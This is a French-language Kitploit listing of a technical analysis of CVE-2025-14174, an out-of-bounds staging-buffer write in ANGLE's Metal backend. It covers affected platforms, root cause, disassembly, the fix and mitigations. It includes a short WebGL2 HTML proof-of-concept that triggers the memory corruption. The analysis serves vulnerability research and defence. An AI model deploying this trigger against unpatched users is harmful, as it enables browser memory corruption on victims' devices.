Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-14174-analysis — Analyse et PoC pour CVE-2025-14174 - ANGLE Metal écriture hors limites (iOS Safari, macOS Chrome) | Kitploit
Outils/GitHubGitHub/typeconfused/cve-2025-14174-analysis
Sécurité iOSAnalyse des VulnérabilitésExploitationSécurité WebSécurité MobileSécurité MatérielleAnalyse de Binaires
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

Analyse et PoC pour CVE-2025-14174 - ANGLE Metal écriture hors limites (iOS Safari, macOS Chrome)

Voir le dépôt
16il y a 8 moisPas encore vérifié
Partager

Analyse de CVE-2025-14174 : Écriture hors limites du tampon de staging ANGLE Metal

Analyse technique et preuve de concept pour CVE-2025-14174

CVECVE-2025-14174
SévéritéÉlevé
Exploité ITWOui – attaques ciblées sur iOS < 26
AffectéiOS Safari, macOS Chrome/Chromium/Electron (pas macOS Safari)
StatutCorrigé dans le commit ANGLE 95a32cb
CréditApple, Google Threat Analysis Group

Exploitation dans la nature

Selon Apple, CVE-2025-14174 a été exploitée dans le cadre d'une « attaque extrêmement sophistiquée contre des individus spécifiquement ciblés » sur les versions d'iOS antérieures à iOS 26.

La chaîne d'attaque incluait :

  • CVE-2025-14174 (ce document) – Écriture OOB dans ANGLE Metal
  • CVE-2025-43529 (WebKit Bug 302502) – Use-after-free dans WebKit

Table des matières

  • Résumé
  • Plateformes affectées
  • Impact
  • Cause racine
  • Conditions de déclenchement
  • Analyse technique
  • Preuve de concept
  • Le correctif
  • Notes de détection
  • Atténuations
  • Références

Résumé

Une vulnérabilité d'écriture hors limites (OOB) existe dans le backend Metal d'ANGLE lors du téléchargement de textures de profondeur via un tampon de staging. La taille du tampon de staging est calculée en utilisant GL_UNPACK_IMAGE_HEIGHT au lieu de la hauteur réelle de la texture. Lorsque UNPACK_IMAGE_HEIGHT < height, ANGLE alloue un tampon trop petit puis y écrit height lignes, provoquant une corruption de mémoire GPU dans le processus de rendu.


Plateformes affectées

Cette vulnérabilité affecte les applications utilisant le backend Metal d'ANGLE pour WebGL :

PlateformeLogicielAffectéRemarques
iOSSafariOuiWebKit sur iOS utilise ANGLE Metal pour WebGL
macOSChrome / ChromiumOuiUtilise le backend Metal d'ANGLE
macOSApplications ElectronOuiUtilise l'implémentation ANGLE de Chromium
macOSSafariNonUtilise le WebGL Metal natif de WebKit, pas ANGLE

Détails par plateforme

iOS Safari est affecté. Sous iOS, WebKit utilise ANGLE comme backend WebGL, ce qui rend Safari sur iPhone et iPad vulnérable.

macOS Safari n'est PAS affecté. Sous macOS, Safari utilise sa propre implémentation WebGL native qui interface directement avec Metal, contournant complètement ANGLE.

macOS Chrome est affecté. Google Chrome fonctionnant sous macOS 26.1 s'est avéré vulnérable lors des tests, car il utilise le backend Metal d'ANGLE pour WebGL.

Le chemin de code vulnérable existe dans la classe TextureMtl d'ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


Impact

SévéritéDescription
ConfirméÉcriture GPU/backend Metal au-delà de la fin du tampon de staging
ConfirméReproductible via WebGL2 + PBO + DEPTH_COMPONENT32F
PlausibleCrash du processus GPU ou perte de contexte sous pression mémoire
ThéoriqueCorruption inter-ressources dans la mémoire GPU (non démontrée)

Caractéristiques clés :

  • Le bogue est silencieux en WebGL (généralement retourne NO_ERROR)
  • Aucun artefact de rendu visible dans la plupart des cas
  • Les couches de validation Metal peuvent ne pas détecter le dépassement
  • Potentiel d'instabilité du processus GPU ou d'exploitation selon la disposition du tas

Cause racine

Dans le chemin de téléchargement de texture de profondeur D32F, ANGLE calcule pixelsDepthPitch à partir de GL_UNPACK_IMAGE_HEIGHT et utilise cette valeur pour dimensionner le MTLBuffer de staging. Cependant, la dispatch de calcul ultérieure (saturation de profondeur) utilise la hauteur réelle de la texture pour l'opération, provoquant une écriture OOB lorsque les paramètres diffèrent.

Exemple de différence de taille

Pour width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F :

ParamètreCalculValeur
Pas de lignewidth * sizeof(float)4 octets
Tampon de staging (alloué)rowPitch * UNPACK_IMAGE_HEIGHT512 octets
Dispatch de calcul (écrit)rowPitch * actualHeight2048 octets
Écriture OOB2048 - 5121536 octets

Conditions de déclenchement

Toutes les conditions suivantes doivent être réunies :

  1. Contexte WebGL2 (nécessaire pour le support PBO)
  2. Format de texture de profondeur DEPTH_COMPONENT32F (vérifié ; d'autres formats de profondeur peuvent également être affectés mais non testés)
  3. Objet tampon de pixels (PBO) lié à PIXEL_UNPACK_BUFFER
  4. GL_UNPACK_IMAGE_HEIGHT défini à une valeur inférieure à la hauteur réelle de la texture
  5. Backend Metal ANGLE actif (iOS Safari, ou Chrome/Chromium/Electron sur macOS)

Pourquoi WebGL ne bloque pas cela

GL_UNPACK_IMAGE_HEIGHT est défini par la spécification GL pour affecter les téléchargements de textures 3D/en tableau, pas les textures 2D. Pour TEXTURE_2D :

  • Le paramètre est accepté mais ne participe pas à la validation WebGL
  • WebGL ne rejette pas UNPACK_IMAGE_HEIGHT < height pour les textures 2D
  • ANGLE utilise incorrectement ce paramètre pour dimensionner le tampon de staging pour les téléchargements de profondeur

Analyse technique

Chaîne d'appel vulnérable

root@kitploit:~
API WebGL
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Backend Metal)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Calcule pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← SOUS-DIMENSIONNÉ
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← UTILISE LA HAUTEUR RÉELLE

Preuve binaire (iOS 26.1)

FonctionAdresseRôle
setSubImageImpl0x272fa9028Calcule le depthPitch sous-dimensionné
setPerSliceSubImage0x272fac240Alloue le tampon de staging sous-dimensionné
MakeBufferWithStorageMode0x272ef19bcCrée MTLBuffer avec une taille erronée
SaturateDepth0x272facfa4Dispatch de calcul avec les dimensions réelles
root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

Preuve binaire (macOS 26.1)

FonctionAdresseRôle
setSubImageImpl0x22c6d10f4Calcule le depthPitch sous-dimensionné
setPerSliceSubImage0x22c6d4398Alloue le tampon de staging sous-dimensionné
MakeBufferWithStorageMode0x22c619490Crée MTLBuffer avec une taille erronée
SaturateDepth0x22c6d5144Dispatch de calcul avec les dimensions réelles
root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

La fonction SaturateDepth dispatche ensuite un compute shader Metal en utilisant les dimensions réelles de la texture, écrivant au-delà du tampon de staging sous-dimensionné.


Preuve de concept

Déclencheur minimal (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << plus petit que la hauteur réelle

// Création du PBO avec les données de profondeur
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Définition du paramètre de décalage
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Téléchargement de la texture de profondeur - déclenche l'écriture OOB
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Vérification des erreurs (retourne généralement NO_ERROR malgré l'OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

Résultat attendu sur les systèmes vulnérables : gl.getError() retourne NO_ERROR malgré l'écriture OOB se produisant dans le processus GPU.


Le correctif

Le commit ANGLE 95a32cb corrige l'allocation du tampon de staging en utilisant les dimensions réelles de la texture :

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

De plus, le calcul de srcBytesPerImage a été corrigé pour l'opération de blit :

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

Notes de détection

Cette vulnérabilité est difficile à détecter depuis JavaScript :

  • Les tampons de staging sont des ressources Metal internes dans le processus GPU
  • WebGL retourne généralement NO_ERROR même lorsque le bogue est déclenché
  • Les couches de validation Metal peuvent ne pas signaler le dépassement
  • Aucun artefact de rendu visible dans la plupart des cas
  • Nécessite une instrumentation des appels API Metal ou un débogage de la mémoire GPU

Atténuations

ApprocheDescription
Mise à jourAppliquer les mises à jour de plateforme contenant le correctif ANGLE
ContournementÉviter de définir UNPACK_IMAGE_HEIGHT plus petit que la hauteur réelle pour les textures de profondeur
Défense en profondeurUtiliser des téléchargements de taille fixe où UNPACK_IMAGE_HEIGHT == height

Références

  • Correctif ANGLE : https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Bogue Chromium : https://issues.chromium.org/issues/466192044
  • Bogue WebKit (CVE-2025-43529) : https://webkit.org/b/302502
  • Plateformes affectées :
    • iOS : Safari (WebKit utilise ANGLE Metal)
    • macOS : Chrome, Chromium, Electron (utilisent ANGLE Metal)

Crédits

Découverte de la vulnérabilité : Apple, Google Threat Analysis Group

Analyse technique : Ce document documente une recherche indépendante et du rétro-ingénierie de la vulnérabilité.


Analyse réalisée dans le cadre du projet de recherche SpiderWebKit.

Télécharger l’outil